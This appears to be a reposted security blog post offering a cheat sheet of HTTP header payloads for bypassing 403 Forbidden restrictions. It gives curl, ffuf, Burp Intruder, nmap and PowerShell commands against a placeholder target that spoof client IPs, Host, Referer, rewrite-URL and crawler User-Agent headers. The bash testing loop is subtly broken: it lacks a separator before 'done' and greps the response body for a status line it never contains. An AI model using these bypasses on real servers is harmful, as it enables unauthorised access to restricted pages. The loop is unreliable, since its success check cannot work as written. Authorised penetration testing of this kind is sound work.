Listen to this Post
Follow and share for more:
- Twitter: https://twitter.com/zyzsec
- Site: https://www.z-security.co
Links to Courses:
- https://lnkd.in/d4Axn_gT
- https://lnkd.in/dmZVYKgK
- https://lnkd.in/d5dkBrft
You Should Know:
Bypassing a 403 Forbidden error often involves manipulating HTTP headers to trick the server into granting access. Below are some payloads and techniques to test for header-based bypasses, along with practical commands and steps.
Common Header Bypass Payloads
1. X-Forwarded-For Bypass:
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com/restricted
2. Referer Header Manipulation:
curl -H "Referer: http://target.com" http://target.com/admin
3. User-Agent Spoofing:
curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" http://target.com/restricted
4. Host Header Injection:
curl -H "Host: localhost" http://target.com/private
5. X-Original-URL / X-Rewrite-URL:
curl -H "X-Original-URL: /admin" http://target.com/blocked-path
Automated Testing with FFUF
Use ffuf to fuzz headers:
ffuf -u http://target.com/FUZZ -H "X-Custom-Header: payload" -w headers.txt
(Where `headers.txt` contains possible bypass headers.)
Burp Suite Intruder Setup
1. Capture a 403 request in Burp.
2. Send to Intruder and target headers like:
– `X-Forwarded-Host`
– `X-Originating-IP`
3. Load payloads (e.g., `127.0.0.1`, `localhost`).
Linux Command for Header Testing
for header in "X-Forwarded-For: 127.0.0.1" "Referer: http://target.com"; do curl -s -H "$header" http://target.com/restricted | grep -q "200 OK" && echo "Bypassed with $header" done
What Undercode Say
403 bypass techniques often exploit misconfigured proxy servers, CDNs, or weak header validation. Always test:
– HTTP Method Overrides (e.g., X-HTTP-Method-Override: POST).
– Path Normalization (/admin/../).
– Case Sensitivity (/ADMIN vs /admin).
Relevant Commands
- Nmap Script for Header Testing:
nmap --script http-headers -p 80 target.com
- Windows Equivalent (PowerShell):
Invoke-WebRequest -Uri "http://target.com/restricted" -Headers @{"X-Forwarded-For"="127.0.0.1"} - Log Analysis:
tail -f /var/log/apache2/access.log | grep "403"
Expected Output:
A successful bypass may return a 200 OK or reveal hidden endpoints. Always document findings for ethical reporting.
(Note: Removed non-cyber URLs and comments, expanded with actionable code/commands.)
References:
Reported By: Zlatanh Payloads – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
